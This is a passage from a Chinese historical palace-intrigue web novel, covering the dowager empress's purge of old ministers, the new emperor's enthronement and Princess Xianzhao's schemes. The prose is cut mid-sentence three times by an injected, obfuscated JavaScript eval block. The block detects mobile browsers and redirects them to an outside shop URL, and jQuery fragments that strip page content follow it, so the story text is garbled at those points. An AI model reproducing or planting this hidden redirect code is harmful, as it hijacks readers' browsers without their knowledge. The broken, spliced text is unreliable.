除此之外，太后不仅告诫明昭内外的朝臣对他登基不满，还在短短十日内罢免了众多京师老臣。
这些官员在返乡途中被山匪截杀与溺水身亡，无论大人小孩，无一幸免。
那些被明升暗贬的官员也惨遭全家灭门，传回的消息说是前朝余孽不甘心而私自报复。
呵……
父亲因此大发雷霆，将书房内的珍贵玉器尽数砸碎，许久都未平复心中怒火。
常年征战沙场一朝被打了脸面，兵部大换血，处处为太后一派。
且还要受制于五军都督府与都察院的互相掣肘。
这种开国便诛杀功臣的行径古往今来屡见不鲜，倘若父亲此刻仍然身居一品将领之职，恐怕也只能得到定国公这样一个闲职了，性命亦难以保全。
明远太后这个女子，够狠，也太过狠辣。
此次入宫，府中幕僚千言万语告诫，切不可与太后发生冲突，无论说什么做什么，都应当忍耐。
等到登上皇位，再做谋划。
见上方沉默不语，他收回思绪，低眉下意，再次抱拳，言辞间毕恭毕敬，唯唯应命。
萧沁澜此时已无困意，瞪大眼睛，诧为异事。
陆墨凌向来以赫赫战功而自负，清高傲慢，从未有过这般狼狈受辱的模样。
这位后母，她着实敬佩。
不过……
那些惨死的老臣。
得鱼忘筌。
她抿紧双唇，眼神微眯。
确实狠辣！
陆墨凌年纪尚轻，藏不得事。
他这般隐忍，反倒令太后心情意外和缓。
太后道：“若依循规矩，论其血脉渊源，您并非皇室嫡系，却能够登临太和殿之上，是你自己真才实学，以及所积累功勋。一旦改易姓氏，切莫生出任何不轨之心。从今往后，你的母亲为圣德太后，父亲为太祖皇帝。
至高无上的尊荣，切莫仿效昌文孝武，‘尊亲之君’，忘恩负义。”
陆墨凌闻听迅速掀开袍摆，跪地叩头，而后挺直腰背，声色不动道：“太后明鉴，帝王之家，父母之尊如天地，乃承天命而为，顺民意所向，非个人所能独断专行。
臣愿以赤诚之心昭告天地，誓死忠于萧氏家族，誓死守王朝安宁。愿以一片热忱，尽孝于太后娘娘，护卫贤昭公主。”他再次郑重磕了一个响头。
萧沁澜打了个哈欠，饶有兴趣地看二人之间的表面和睦。
＆
午膳之后，雨花阁中仅剩萧沁澜主仆二人。
本采兴致不佳，郁郁寡欢地坐在贵妃榻下，心不在焉地吃着点心。
“在想老臣尽皆身死之事？”
“……嗯。”本采握着手中的凤梨酥，叹息道：“自古以来功高盖主，想要更进一步或谋反、或自杀、或投诚，投诚便要拔除身边所有有能之人。太后不愿收服那些三心二意者，奴婢明白，杀死他们以警告定国公安分，奴婢也明白。但……”
本采语气愈发低落，“但何至于灭人全族，连襁褓中的婴儿都不放过。幼子无辜，什么都不懂啊！”
“是不懂。”萧沁澜神情寡淡，如同一汪静水，抬眸望向窗外天穹。
她并非圣母，前世身为富家千金，深谙贫富差距所导致的巨大影响以及诸多伤害。
作为既得利益者，她所能做到的不多，唯有不占用其他有志者逆袭的宝贵名额，自己则多在国外筹备画展，赚取国外的财富用于投资福利院、孤儿院等慈善机构。
她并无雄心壮志，从未想过继承家族集团。
来到这里也曾想过咸鱼般的生活，可骤然崩塌的世道并未给她丝毫喘息机会，只能凭借所听到的消息，一步步走上流血之路。
灭掉老臣全族，从理智来讲，一劳永逸。
但……
朝堂复杂，暗流涌动。
需要有以天下为己任、以苍生为念的忠臣义士，无惧雷霆，敢于直谏。
亦需如蛀虫般潜伏于朝堂深处，以私欲为马首，以贪心为利剑，肆意践踏正义、陷害忠良的奸诈官员。
秉持中庸之道，勤勉守职，也就是装傻充愣者亦必不可少。
这三大势力，须得各扶持三位，令彼此间纷争不息，而后各部争斗，方能确保朝廷安定，黎民百姓安乐。
太后这般狠厉手段，才是长久之计啊……
萧沁澜抚摸着她的发丝，将她歪斜的发簪重新插好，“现下按照计划逐步施行，大局已在掌握之中。太后行事果断，本宫不能暴露行迹。
放心，明昭将来定会遵循父皇所定的规矩，稳步发展。
买卖儿女、典妻、强买强嫁等行为，皆成不可为之事。
本宫保证，再过一年，便让女子可自由出入大街小巷；五年便让女子读书求学。参与科举、出任官职之事。任重而道远，只能先从宫内女官推行。”
她思索片刻，而后道：“明年吧，待明年科举结束，便借助众士子的欢愉，宣扬宫内女官诸多精巧行事。人性善恶，无非是听取什么、目睹什么罢了，从古至今，无一例外。”
“还要许久！”思绪起伏不定，本采瞳孔中的光芒暗淡许多，仅是点了点头，“主子所言确然有理。奴婢倘若未得主子及时路过搭救，恐怕早已被□□至死，哪还有颜面在这世间存留。”
“小可怜……”萧沁澜眨了眨眼睛，弯唇一笑，抚摸着她那如丝般顺滑的乌发。
十岁那年，自己陪同父皇行至常山，为了探查地方详情，受邀参加家宴，并在前朝平章政事府邸救下了本
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062434|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
采。
为了抚养一家老小，当时的她在平章政事的府邸打杂，被那垂垂老矣的官老爷兄弟所看中，险些在后山当场遭到□□。
彼时府中所有仆役自觉回避，就连府中主母亦呆在院中未曾露面。
此事无论古今，对女子而言皆是重大打击。
那时自己年仅十岁，轻功虽不如现在，但对付一个老态龙钟的男子绰绰有余，且自己长年跟随诸位将军习武，武力值亦是不低不高，轻而易举便救下了本采。
老者却因太过羸弱，当场气绝身亡。
此次是她初次行杀戮之事，竟有几息的茫然与不知所措。
待得本采强忍泪水，催促她速速离场，方才恍然大悟。
她先将本采安放于高墙之外，而后抗着那已然逝世的老头身躯，从城墙上方凌空一跃，两人一道将老头掩埋在了附近那荒凉的野地之中。
做完这些，她当机立断，让本采带着父母与妹妹改头换面，暂时隐匿行踪。
当时天下大乱，户籍问题并未引起过多关注。
于是趁着夜色潜入当地官府，重新为本采伪造身份。
待一切尘埃落定，到底身在和平年代，因第一次杀人导致的心理压力乍然病倒，又强撑着病体暗自调查了平章政事祖孙九代，最终得出“一家子欺男霸女、强抢民田、逼良为娼”等等一系列丧尽天良之事后，方才安心任由自己病入膏肓。
再次醒来，父皇已然果断处置了平章政事一家几代，本采也眼含热泪地望着自己。
其后，本采之妹远赴暗卫营研习，她自身习得文韬武略，常年跟随自己小心侍奉。
也不知她与胞妹性情为何如此迥异，一个杀伐果决，言及灭族必是九族，对襁褓婴儿亦是不曾宽宥。
她则多愁善感，无时无刻为自己的名声与身份忧虑不已，患得患失。对于命令，始终恭顺听从。
当年秉性仁厚，如今自己手中残魂无数，习惯了生杀予夺啊……
融入还真是简单，呵……
寝殿内气氛一时沉寂。
本采不知她所想，不耻下问，微仰头视向她，“主子，国公爷次子因与你……便会这般轻易放下心防吗？”
萧沁澜神思回归，唇角微翘，似是自嘲又似是轻讽，“当今世道，女子贞洁于男子而言便是利器。本宫富甲天下，貌美秀丽，有权有势，又有聪慧才干。若换做是你，若本宫主动奉上女子最为贞洁之物，你是否会将原先的十分戒心，换做八分？”
“若是奴婢，定会全心全意信任主子，从无怀疑。”本采眸光璀璨，眼底一片诚恳。
见此，萧沁澜忍不住伸手弹了弹她的额头，轻微至极，没好气道：“你这般诚实呆愣的模样，是如何瞒过太后，让她这般信任你的？”
“明远太后并不知奴婢与主子的渊源，又岂会轻易相信路边买来的人是真心实意效忠。再加上奴婢生性木讷不善撒谎，连杀人如麻………
阅历丰富的妹妹都能骗过，对于太后，自然得心应手。”
本采忽然想起过去，“只可惜，主子心地良善。当年竟然忍着恶心将那老头的尸身重新挖出与家人团聚，真是便宜他们了。”
京师繁华，常居高位心易沉沦，萧沁澜走到今日，有自己坚守。
她意味深长地笑了笑，“天道玄妙，大道精妙，人生在世须行善积德，方能行稳致远，方能达成心中所愿。我这般行事，不过是在无数尸山血海中，求得一丝自逸。
那个位置，不知是孤独一世？还是知己满座？”
26. 命丧黄泉，九族尽无
十月十三，萧墨凌拂晓之际便沐浴更衣，于静谧室内焚香祷告，祈求皇室先祖庇佑国泰民安，风调雨顺。
十月十四，萧墨凌再次沐浴更衣，身披龙袍，头戴玉冠，洁净无瑕地前往太庙祭祖。他双膝跪地，口中默念祷词，虔诚祈求，企盼皇室先祖保佑明昭继往开来，创万世太平。
十月望日，天地清朗，和风送暖，日光遍洒皇城，百官身着朝服如松挺立，毕恭毕敬，周侧鼓乐齐鸣，乐音悠扬，回荡于整个京华烟云。
萧墨凌一身龙袍衮冕加身，五爪金龙盘旋于其上，遨游九天。
于百官敬仰的目光中，萧墨凌自金水桥缓步而出，踏过太和门，不疾不徐登上太和殿晶莹剔透的白玉阶，袍袖轻扬间，转身立于高台之巅，目光如炬地俯瞰着脚下满朝皇亲国戚、公侯伯子等万千臣子。
……
待坐上龙椅之时，山呼海啸的“万岁”之声如同奔雷般震天动地，回荡在整个云霄宝殿之中。
萧墨凌神情宛如霜雪般清冷，眸中却雀跃欣喜。
他身旁的太监总管捧着黄绢卷轴，宣读新皇即位诏书。
随着诵读落幕，新皇执掌天下之路就此开始，亦将成为各方势力新的角逐。
＆
“朕承太祖之遗志，蒙天地之庇佑，执掌明昭王朝，执掌国家大政。朕恪守皇道，遵守先皇太祖皇帝规训，爱护百姓，勤于政务，尊崇孝道，为天下谋求福祉，为江山社稷永续图谋发展。望百官辅佐，万民同庆。钦此。”
本采学着那太监总管的姿态，声情并茂、绘声绘色地阐述了诏书内容，而后抬眸望向自家主子，
“新皇从宫外带进来的太监身手、智谋，据说皆非同凡响，我们的人短时间内恐怕难以插手。此外，太后此前对旧时老臣的打压过于狠绝，现在也暂时偃旗息鼓，不再出手。”
已是正午时分，萧沁澜端坐于贵妃榻内，优哉游哉抚摸着怀中温顺的狮猫，听罢云淡风轻道：“无需心急，好戏尚未拉开序幕，距离殿试尚有四月之久，足够本宫完成所愿。对了，年号拟定为何？”
本采看着她手中的猫，“太祖皇帝年号为昌宁，新皇则定为智渊。”
“智渊……”萧沁澜细细品味此二字，“中规中矩，倒也懂得笼络人心。”
本采有些急切，“主子。那我们何时动手？又如何着手行动呢？”
“不急，定国公一家的死局已然布就，就看咱们这位新帝，是安分守己，还是勃发进取。”
“死局？”本采努力回想，紧咬下唇许久，却始终无法忆起她究竟布下何局，做出何事。
萧沁澜笑出了声，伸了伸胳膊，玉指轻叩她的额际，“豫州学子、定国公府二公子。你以为本宫费这般多的心神，是在闹着玩儿的吗？”
“可这……”本采面露疑色，若有所思，“恕奴婢愚昧，奴婢实在不明主子所思。这二者在扳倒定国公之事上，有何前因后果吗？”
“因起果至。”萧沁澜扬唇，故作神秘，“其中之事虽大同小异，却无须多理。这四个月，你们随遇而安便好。”
“可这，不会发生意外吗？”
“意外总有，但和本宫有何干系。”
本采一愣，顿时豁然大悟，眼眸泛光地仰视着她，“主子定是早就有周密部署了。”
萧沁澜笑意愈浓，“啧，你还真以为本宫运筹帷幄啊？”
见她毫无迟疑地颔首称是，萧沁澜抱起手中小猫，如孩童般稍稍摇晃，旋即将它放下，“本宫从不在意中段如何发展，有何意外，亦不插手或介入。
开头与结局皆在掌握之中便可。
人心既定，不可更改。
世上所有的局，皆为贪念欲望而设。
世事如棋，棋局常新，隐患已埋，这四月内本宫不欲动手。四月之后，本宫便要下一盘新棋了。是不是，咪咪，嘬嘬嘬……”
＆
十月望日，乡试重启。
豫州豫中才府外车水马龙，学子们熙熙攘攘，低头接耳谈论个不停。
余光瞥见不远处一轿子大张旗鼓而来，学子们纷纷蹙眉。
“锬金湖蓝色凉篷？真是胆大妄为，就连朝中一品大臣亦只能使用银顶轿子，这是谁家的公子，竟然如此猖狂？”
邻侧布衣之人回首一看，刹那间肃然起敬，“……嘘，莫要再言语了。这可是我等天下学子之楷模、李家李贞合的胞弟。京师中的明远太后与贤昭公主，可是亲自为李家府邸御赐过牌匾的。
看，才府外那块石碑上，李贞合高居榜首。就连后世史书也会有李家浓墨重彩的一笔。哎，真是令人羡慕嫉妒，却又敬佩尊重。”
“李学子胞弟？这等功劳自然坐得起轿子。但轿夫一差向来苦楚。无论酷暑三伏，还是数九寒天，即便腹中饥肠辘辘，皆要啮骨扛轿。逢雨遇雪，只要不平不稳，都会身陷囹圄。轻则呵斥责骂，重则命归黄泉，九族尽无。
李家即出了那般忠贞之人，家风便不该这样的放肆无忌惮，张扬跋扈啊？”
旁侧布衣学子叹息一声，拍着他肩膀道：“如今李家是明远太后亲自加封的皇商。又有李学子那般大义凛然之人，他的胞弟岂会是大奸大恶、不知民间疾苦之辈。
李家轿夫薪俸堪比主子身边二等丫鬟与侍从。你瞧他们笑逐颜开、满面红光的样子，像是遭受过生活艰苦吗？
挺好的，现今政局清明，我等底层百姓不会再无处伸冤，任由贪腐官员欺压掠夺了。”
“也是。我听闻舞弊贪墨一事，是曾经追随先皇太祖皇帝、从龙之时的老臣所为，故而未曾公然惩治。可现在剩余者或凄惨、或伤逝，可见明远太后对我等百姓是关切有加。
就连如今乡试重启，亦是明远太后的懿旨。此后啊，定是祥和安宁，清白公正。”
“谁说不是呢！哎，时辰不早了，我等还是速速进府应试吧。”
浩宇澄明，净空无垠，另外一侧，李家轿夫压下轿杆，恭谨且心悦诚服地迎接少爷下轿。
缟羽衣摆飘逸，李暮岁长身玉立，望着眼前的豫中才学府，微眯双眸，嘴角噙笑。
＆
“啪嚓——”
少保府内猛然一声脆响，尤项恶狠狠地将手中茶盅重重掷于青石地面，碎片四溅，茶渍斑驳，犹如他此刻纷乱愤恨的心境。
他闭目深呼吸，胸膛如浪涛般起伏，竭力遏制着胸中那将要喷薄欲出的怒焰。
待心绪稍定，他缓缓睁开双眸，望向左侧端坐的定国公，“明远太后此招实在是阴险狡诈至极！晨间陛下刚刚龙袍加身，午时未过就有了这等惊雷之讯。
乡试与登基齐行，古来未有！简直荒谬绝伦！这不就是向四海学子明示，我等老臣德行有亏，更是将新皇置于不仁不义之地，蔑为纨绔昏庸之徒，难当国之大任吗！
意欲何为？在做什么！明远太后她到底想做什么！”
陆泽面色铁青，双眸如寒星般紧紧盯着案
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062830|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上那封密信，仿佛要将其洞穿，冷冷言道：“还能为何？太后此举无非是要天下皆知，凌儿登基乃情势所迫，非真心所愿。”
“哼，竟然看轻了陛下，暗指陛下是黑心眼的纨绔子弟，品行不正，难当大任。除陛下外，还有谁能够承担当朝的大统？
凭那个一心只为情爱的醇亲王吗？抑或是那两个身无背景、亦无势力支撑的宁郡王与靖郡王！真是荒谬！
明远太后终究是一介妇人。她自以为这样就能够摆脱老臣的支持，便可以把控朝政一生吗？她不过是太祖的一个侍妾，毕生连个女儿都未生育过。”
“你这么一说，我倒是想起太后昔日确曾生育过一个皇子。但这皇子在不足一周岁时便忽然夭折。据闻，当时宣王与贤昭公主皆在场。”
“……不会这么巧合吧？”尤项是在天下大成之时方加入太祖一队，对昔日旧事并不了解。
听罢他心中一惊，愕然道：“所以……明远太后之所以明捧暗嘲贤昭公主，是因为……”
冥思苦想之间，他喃喃自语：“你说，莫非是明远太后的儿子未曾死去，为了防止意外发生，便随随便便让一位郡王……甚至是亲王登基，从而内斗，引发后续一系列事件，坐收渔翁之利？”
“你的话虽然荒诞，但并非毫无可能。当年那个孩子诞生之际，太祖已成为一方英豪。这事……”
陆泽敲击着扶手，继而起身，“既然我凌儿已稳坐皇位，这寰宇四合之下，便尽皆是智渊帝统辖之地，谁人也不得夺走。乡试之事已然无法更改，其余事务，我等明日再行商议。”
言罢，他意欲离去，却似乎想起了些许，倏尔转身，不赞同地望着他的眼眸，“你适才说凌儿是黑心眼的纨绔子弟，难当大任？”
尤项眉梢一扬，立即呼喊冤枉，“我不过是依据太后想法随口打个比方而已，你何故认真？我可明确告诉你，至少一年，定国公府需得低调行事，切不可直呼陛下乳名了啊！”
“我知道了。”陆泽只是随口一问，并未上心，他摆了摆手，转身彻底离去。
待他走后，尤项陡然笑出了声，看着地上的茶盏碎片，默然不语。
＆
落暮西山，明远太后不紧不慢地用着晚膳，安闲自得倾听新帝登基后的一切事宜。
琉薇道：“遵循旧例，陛下登基之日召集内阁大臣，逐一听取近期奏折。农事、水利、税收、赋役、商业、民生、边境防务等大事小情，无一不详尽。
而后，内务总管呈上宫中账册，陛下匆匆阅览过后，又移步至御花园休憩。漫步片刻便返回乾清宫，批阅奏折，勤勉有加。”
待咽下口中的羊肉水晶饺，又尝了口肉酿金钱汤，太后方示意宫女为她漱口、擦拭嘴角，“陛下举止有度，向来勤勉，这些皆是他应当尽心尽力之事。”
琉薇道：“太后，昔日老臣一脉大都已消亡。接下来该如何行动呢？”
“不必着急。乡试一事，已经让国公爷措手不及，他现下应该得知消息，必定会有所动作。哀家手中很快将拥有两把锋利的刀。”
“两把？”琉薇疑惑道：“宁郡王与靖郡王背后并无强大势力。这样的人一旦野心膨胀，或是被威胁生死，定会引发强烈的反弹，不留余地。可司空院使的公子与醇亲王呢？依奴婢浅见，他们或可有用。”
“不必费尽心机，谁的势力便是谁的。”太后望向空旷的慈宁宫，勾唇浅笑，“司空颢有大用，而润知嘛……”
27. 天翻地覆
昨夜乾清宫内蜡烛长明，至丑时将至方灭。
翌日，此事便如星火燎原般传遍京师每条大街小巷，众人无不赞誉新帝勤政爱民。
无论内心如何揣度，表面上对新帝的接受程度，也都随之水涨船高。
登基后三日，按照太祖皇帝所制定的规矩需休朝，以便让新帝快速熟悉各方政务。同时也体恤臣子们筹备登基大典辛苦，休假休养。
＆
晨光乍现，慈宁宫内，萧墨凌身着金色龙袍便服，撩袍而跪，恭声道：“儿臣给母后请安。”
算着时辰，与他恰好相逢的萧沁澜眼帘微敛，向他欠身行礼。
太后俯视着跪姿端正的新帝，神色平和，嘴角轻扬，“皇帝自此君临天下，无需再向哀家行此大礼，快快起来，贤昭亦起身吧。愣着做什么，还不将陛下与公主扶起备座。”
闻太后令，正殿内侍奉的宫女、太监皆低头敛目，各司其职，恭谨地听命离去。
萧墨凌在琉薇的搀扶下起身，目光平视前方，面上带着淡笑，“明昭王朝以孝悌立国，儿臣晨昏定省，自是分内之事。可惜儿臣仅有三日闲暇，待归朝理政，案牍劳形，恐怕难以常伴母后，膝下尽孝。”
“你们看看，吾皇孝心昭昭，初登大宝便以国事为先，孝心与实干并行不悖，实为天下楷模。贤昭日后定要以兄长为镜，勤学不辍啊……”
太后笑语盈盈，随即话音一转，“不过皇帝无需过于忧虑。哀家多年执政，对朝中内外事务了如指掌。往后在乾清宫共同批阅奏折时，若有不解之处，尽管来问，哀家定会知无不言，言无不尽，细心教导。”
“是，朕定当谨记母亲教诲。”萧墨凌敬从地答道。
如今他尚无强大后盾，大权在握之日尚远，只能顺着太后意思。
“听说昨夜你忙碌至丑时？”太后慈母般温言相劝，“太祖皇帝有训，新帝登基享有三日休沐之期。你自幼随定国公征战四方，后又入文华殿习治国之道，受教于詹事。你自是胸怀大志，不必如此急于一时。”
“母后所言极是。”萧墨凌收敛了在外时的傲气，笑言以对，“儿子只是想早些熟悉宫中事务，好让母后早日安心享福，不必每日操劳。”
“嗯，皇帝此心甚善，哀家深感欣慰。”太后笑容可掬，面容平和，不见丝毫怒意，“昨夜内务府呈上的账本，你可曾翻阅完毕？”
“回母后，儿臣已详阅。”
“皇宫之内，人员纷杂，各司其职，各局有别。若有不明之处，大可传唤其领班太监或宫女前来询问，无需顾虑他事。”
看似放权，实则暗指皇宫上下皆在太后掌控之中，皇帝的一举一动皆逃不过她的眼。
萧墨凌自然不傻，他应声道：“母后体恤入微，儿臣铭记于心。今日归宫后，若有疑惑，会及时向母后请教。”
萧沁澜对这番既似投诚又含告诫之言置若罔闻，只是静默出神，偶尔在二人目光交汇时，随声附和几句。
一番无关紧要的闲聊过后，便到了用膳时辰。
太后自然居于首位，皇帝坐于左侧，而她身为先皇独女，身份尊贵无比，故被特许坐于太后右侧，以示殊荣。
三人乃当世之尊，至高无上之主，今朝共聚一堂，御膳房上下自是不敢有丝毫懈怠，相较往昔更加精心筹备。
清晨时分，酒非所宜，席上佳肴琳琅满目，却无酒浆。
清蒸天鹅、锦绣缠鸡、炮龙烹凤、香燥肉丝、清蒸鲜鱼等珍馐美味五彩斑斓，与之相配的是各式时令鲜蔬，米面佳肴。
羹汤清润，营养均衡，相得益彰。
皇家礼仪森严，非比寻常府邸，用膳之际不可轻言细语。
偌大的慈宁宫一时唯有宫女布菜的细微声响，以及三人近乎无声地咀嚼。
膳毕，太后携新帝前往乾清宫熟稔宫闱之事。萧沁澜则行礼辞别二人，想要返回居所宁安宫。
直至现在，萧墨凌方得闲暇细细端详于她。
他殷殷叮嘱数语，待她步出正殿，背影逐渐消失于门外后，方神情冷然，徐徐敛去眼底那抹不易察觉的温煦笑意。
＆
“攒陷馒头，椒盐饼，芝麻烧饼，柳蒸煎鱼，炒鲜虾。再是此酸甜汤……”本采将所述的肴馔逐一摆于檀木桌上，长声嗟叹，“每日晨起尽是油腻肉肴，主子最爱面食，可太后面前不过三事，就连小小糕点亦只能独用其一。真是新皇登基，主子受累。”
基于在这里养成的习惯，纵然饿得肚腹空空，萧沁澜用餐依旧优雅，只不过塞入口中的面食稍显硕大。
她饮了口汤，待腹中八分饱了才从容不迫地接过手帕，擦拭唇角，而后言道：“那些肴馔并无舛误，这数年每日早膳皆以荤腥为主，本宫早已习惯。”
“所幸只有此日，日后主子与陛下不必再同食了。”本采心疼地看着她。
她本无意，随口一言。萧沁澜将手帕翻来覆去地把玩，意味深长地扬起眉梢：“岂会只此一日，人生漫漫，长着呢！”
“……何意？”本采不明所指，总觉得主子当初不选胞妹而是自己陪侍身旁，实在是委屈。
她不知该怎样回应，蹙眉沉思片刻后，便不再纠缠，旋即转移话题：“昨晚夜阑人静，忠勤伯府的密探来报，醇亲王又因莫须有之事被罚跪祠堂了。”
“跪祠堂？”原本心情尚佳的萧沁澜顿时收敛笑意，神情平静地凝视那残羹剩饭，“跪至何时？”
“暗卫禀报，约是正午时分，中间不许进食。”
“忠勤伯呢？”
“正于侍妾房中……”
萧沁澜颔首，眼神微眯，“无才无德，踩着皇姑母尸首登至高位，却不守男德。忠勤伯这日子，过得太过安逸了些。”
本采道：“那奴婢该采取什么措施行事呢？毕竟是醇亲王生父，况且男子三妻四妾乃是常事。忠勤伯除了时常惩罚醇亲王外，并无张扬庶子之事。”
萧沁澜丢下擦拭手帕，起身走向书案旁，提笔迅速写下几行大字，并将纸条递给她，“今日之内，让京师所有孩童学会这首童谣。明后两日让父母带领其大肆宣扬，记得让暗卫保护好他们。”
“只唱童谣吗？茶馆酒楼可需安排？”
“不必，太后机智过人，京师之中能这般相助醇亲王的只有本宫。你去调动我明面上的下属官员，让他们距离那些孩子不可太远，也不可太近。”
“好，奴婢明白了。”本采慎重地收起宣纸，又道：“三日之后上朝，太后必定借此机会，让她手下御史向新皇发难。忠勤伯毕竟是老臣，但却无甚实绩。也不知这位新皇，是会保住他，还是舍弃他。”
说到此处，她忽然醒悟，“可这样行事不是会让新皇知晓，这事乃是主子挑起的吗？”
“嗯，我明白。”萧沁澜坐在木椅上，看着院外的繁花似锦，“既然忠勤伯对现今地位不满，那我便重新赐给他一个品级。”
“主子是打算赏赐他更高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095454|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的官位？”
闻言，萧沁澜朝她微笑，“驸马都尉，这是伯爵之上的正一品，你觉得如何？”
＆
忠勤伯府内，蔫润知跪在祠堂的蒲团上，定定望着母亲的灵位，眼神空洞无物，不知自己存在于世到底有何意义，有何作用。
心爱之人对他无意，父亲冷漠，太后提防，就连府中父亲的几名妾室都冷眼嘲讽。
若是往昔，他或可披甲上阵，待在边关一辈子不回。
可正值新皇初登大宝之际，自身处境微妙，既非高位亦非末流，更是成为定国公眼中的钉，肉里的刺。
数日之前，更是惨遭排挤，与那些共选为太子的同僚一道，被逐出了朝堂的核心。
此后，去留之间，两难全矣。
若决意离府，恐背负不孝。
若留守府中，每日所见皆是阴霾，心绪难平，未来之路茫茫，会被无尽的压抑笼罩，难觅一丝光明与希望。
思及此，他自嘲一笑，摇了摇头，“胡思乱想什么，活得这般怨妇，难怪沁澜会不喜欢。”
晌午已到，与他自幼一同长大的小侍从夏半急忙上前，“王爷已经一日一夜未进食，饿吗？”
“正午了吗？”蔫润知语气有些沙哑。
“是，饭菜已经备好，王爷随奴才一同前去用膳。”夏半哽咽着回答，扶起颤巍巍的他。
跪地时间过长，腿部已有些麻木，蔫润知起身之际差点再次跌倒，他紧闭双目原地休憩片刻，后松开夏半的手臂，整理了一下衣襟，面无表情地大步向前走去。
……
忠勤伯府三进三出，先皇在世之时本想赐予五进五出的宅院，但大行突然，只得依照官职，仅仅得到这个不大不小，较为偏僻的伯爵府。
行走至假山中央，正巧遇到父亲侍妾带着一岁多孩童，来此玩耍。
“醇亲王，安好……”侍妾名为穆婉仪，曾是唱戏的戏子，身姿婀娜。忠勤伯这等肤浅男子，拿捏可谓是轻车熟路。
蔫润瞥了她一眼，未作言语，径直自她身旁走过。
待他离去后，一旁侍立的丫鬟轻蔑地“哼”了一声，故作聪明地傲然道：“也不瞧瞧自己现在是什么地位。他那大长公主母亲早已死了，却还整天在府中摆出一副高傲的模样，谁愿意搭理呢。”
穆婉仪并未理会，只是淡然一笑。
这位丫鬟表面看似愚钝，实则心思细腻，且并非忠勤伯府中人。
这几年来，伯爵府内的下人多为各方势力的棋子，唯有忠勤伯本人尚未察觉此中复杂。
醇亲王虽幼年丧母，但作为皇室近亲，尊贵非凡，绝非她这等出身卑微之人所能轻易招惹。
她只求安稳度过余生，选择忠勤伯也是因其家族结构简单，无长辈干涉。谁知背后暗藏势力执意造谣，声称她处处针对醇亲王，而将忠勤伯完全撇清，只留个风流名声。
穆婉仪携一双儿女嬉戏至午后，直至次日晨膳过后，方知外界已是一片喧嚣。
丫鬟在一旁假装焦急，踱步不停，口中喋喋不休。
穆婉仪神色自若，吩咐她将忠勤伯请回。
待室内仅余她一人，她垂眸陷入沉思。
此事幕后之人不难揣测，朝中谁人不晓贤昭公主殿下与醇亲王交情匪浅。
太后与新帝并无血脉相连，依她过往经历，恐难同心。
既已身在权势，何不借此机会，让这京师愈发风云变幻，天翻地覆！
28. 门深锁，恩怨长…… 假面离……
“金瓦红墙内也愁，伯爵偏爱庶子头。府中事，尽难言，庶子风光嫡子伤，偏袒之下心更凉。门深锁，恩怨长，嫡卑庶尊世人问，皇家颜面丢地上。”
忠勤伯府最深处，一间颇显寒碜的院落内，夏半疾步走入，高声将方才的话语重复一遍，又是搓了搓手，喜滋滋地道：“王爷，近日外界传言甚嚣尘上，皆是对老爷指责谩……客观之声。
所言所述，无一不对我等有利。长公主在位时便亲民安民，三载过去，明昭王朝的‘士农工商’都未曾忘记长公主功绩，现在就有那不满的，正聚集在府门口索要个说法。
有许多书生连夜撰写话本、诗作，其中更有数名名不见经传的国子监学子。”
“国子监里的学子？”蔫润知坐在首位，紧皱眉头，“都是明年即将参加科举的栋梁之才，他们怎能以学子身份来参与这场纷争，若届时被人参奏而无法参加礼部试与殿试，又该如何是好？”
他抿了抿唇，而后猛然起身，“不可，我须得告知沁澜，让她立刻收手，万万不能因为我之事，而耽误了如此多的善良之人。”
“王爷！”夏半按住了他，将其安坐回原位，叹了一口气，“王爷贤明，朝野之上，敢这般明目张胆袒护王爷的，也就只有与王爷青梅竹马的贤昭公主了。
公主殿下昔日身着红衣，飒爽英姿，骑射弓箭丝毫不逊于男子。倘若没几个护卫暗中保护，说不过去。只要不是个愚钝之人，都能猜测得出。
可王爷知道么，公主殿下在深宫受尽委屈，为何始终未曾出手，只有此刻才暴露手下势力？”
“……我明白。”蔫润知紧紧抓着扶手，内心波涛汹涌，起伏跌宕。
“既然王爷已经明白，便应当知晓。公主殿下或许会隐忍不发，积蓄力量。或许会果断出手，一击致命。”
夏半望着他不可抑制的颤抖，心疼地跪在他面前，昂首凝望着他道：“奴才深知王爷心意，亦知王爷聪慧。
太祖皇帝猝然仙逝，本是轻而易举的一战，却未曾料想，竟落得个无人生还。突如其来，无人设防。故而，公主殿下这四年理应无暇培养暗卫。
这四年期间，太后娘娘把控前朝后宫，今日挺身而出者，定是殿下隐匿野林时的全部势力。
近日倾囊相助，王爷应是心知肚明，殿下对您的情谊究竟有多重！”
闻听此言，蔫润知呢喏许久，才哑着嗓子涩声道：“是‘情谊’？还是‘情意’？”
